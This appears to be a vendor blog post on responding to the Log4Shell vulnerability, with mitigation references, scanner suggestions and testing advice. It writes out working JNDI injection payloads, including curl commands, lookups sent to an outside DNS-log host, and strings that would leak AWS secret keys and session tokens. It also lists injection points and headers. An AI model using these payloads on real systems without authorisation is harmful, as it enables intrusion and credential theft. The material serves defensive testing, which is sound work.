In the last few weeks, information security professionals have been fighting and updating systems like crazy.
Our deepest support goes to them and all the vendor e-mail that has gone around 🙂
We have instead been silent and helping organizations where they can and if they need more they can ask later (karma anyone )
Some good elements and flow have gone out to test for vulnerability
You can refer to the original existing report here and our overall vulnerability page updated with the latest data here
Recomandations
Some good news and attention from National Cyber Security Centre on cyber security impact. You can see the full post here
The challenges organisations face are, therefore:
- asset inventory and application composition
- where are deployed and how they get affected
- prioritizing the ones that are internet-facing
- monitor and threat model as well as real-world assessment (test and check if you see an answer back)
Mitigation and testing
We are maintaining a mindmap of resolution ourselves to track all the variation and remediation but most importantly how to tackle Vulnerability at scale
check the latest version of the vulnerable vendors
https://github.com/cisagov/log4j-affected-db
Updated: New Version of the mindmap with 2.17 based on the original version from ATOS
A good article from CISA on testing and several others have been published (some reference below. In general when testing verify that you get information in return and that the remote execution actually happens
A mindmap with some more details on all the various vulnerabilities that we are using internally to assess (one below for exploitation)
Another good workflow reference I’ve found is this one
Testing recomandation
use strings in local to simulate your application or check DNS logs / local logs of application to see if the string was actually logged AND triggered a Remote code execution
Simple Testing:
// if server in test is running on localhost curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.dnslog.cn/a}’
vs
${jndi:ldap://xxx${sys:java.version}.dnslog.cn/a}
in this way you can verify in the DNS log if the RCE was executed instead of just a string
another example of test is:
https://target.com/?test=${jndi:ldap://jv-${sys:java.version}-hh-${hostname}.DOMAIN.dnslog.cn/exp}
where DOMAIN is an example DNS subdomain as tested here using DNS Log
you should receive some information in your DNS with the string containing the java version of the hostname. This does not stop there and I’ve included the list of strings and where the payload can be injected
Some other payloads for injections:
Host info
${hostName}
${sys:user.name}
${sys:user.home}
${sys:os.name}
${sys:os.arch}
${sys:os.version}
Java info
${sys:java.home}
${sys:java.vendor}
${sys:java.version}
${sys:java.vendor.url}
${sys:java.vm.version}
${sys:java.vm.vendor}
${sys:java.vm.name}
ENV info
${env:JAVA_VERSION}
${env:AWS_SECRET_ACCESS_KEY}
${env:AWS_SESSION_TOKEN}
${env:AWS_SHARED_CREDENTIALS_FILE}
${env:AWS_WEB_IDENTITY_TOKEN_FILE}
${env:AWS_PROFILE}
${env:AWS_CONFIG_FILE}
${env:AWS_ACCESS_KEY_ID}
Where you can inject
- Email header
- Username fields
- Password fields
- E-mail address
- Filename fields
- Query/Body
- URL
- File content,
- Document/Image EXIF
Inside any of the following headers
AUTHORIZATION
CACHE-CONTROL
CF-CONNECTING_IP
CLIENT-IP
CONTACT
COOKIE
FORWARDED-FOR-IP
FORWARDED-FOR
FORWARDED
IF-MODIIED-SINCE
ORIGINATING-IP
REFER
TRUE-CLIENT-IP
USER-AGENT
X-API-VERSION
X-CLIENT-IP
X-FORWARDED-FOR
X-LEAKIX
X-ORIGINATING-IP
X-REAL-IP
X-REMOTE-ADDR
X-REMOTE-IP
X-WAP-PROFILE
AUTHOSIZATION: BASIC
AUTHOSIZATION: BEARER
AUTHOSIZATION: OAUTH
AUTHOSIZATION: TOKENCommunity edition to test
if you want to test a version of the vulnerability there is a vulnerable page available here:
Community driven POC
// 1. In a sandboxed terminal-1 (with docker daemon installed), run
docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
// 2. Spawn another tab-2 to trigger the exploit
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://127.0.0.1/a}'
// 3. Observe logs in terminal (1)
2021-12-11 11:01:05,99 http-nio-8080-exec-1 WARN Error looking up JNDI resource [ldap://127.0.0.1/a]. javax.naming.CommunicationException: 127.0.0.1:389 [Root exception is java.net.ConnectException: Connection refused (Connection refused)]
Reference to christophetd’s vulnerable app.
Scanners Available:
Scan & Remediation
- Dependency Check
- Appsec Phoenix request access here. we will give access for jan and feb to the unlimited version
- Dependabot
Just scan:
Read More
For more information look at log4shell summary page with details on the flow and the original post on the vulnerability
Other References
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/NCSC-NL/log4shell/blob/main/software/README.md
CISA: https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
CISA Github: https://github.com/cisagov/log4j-affected-db
Apache Vuln page: https://logging.apache.org/log4j/2.x/security.html
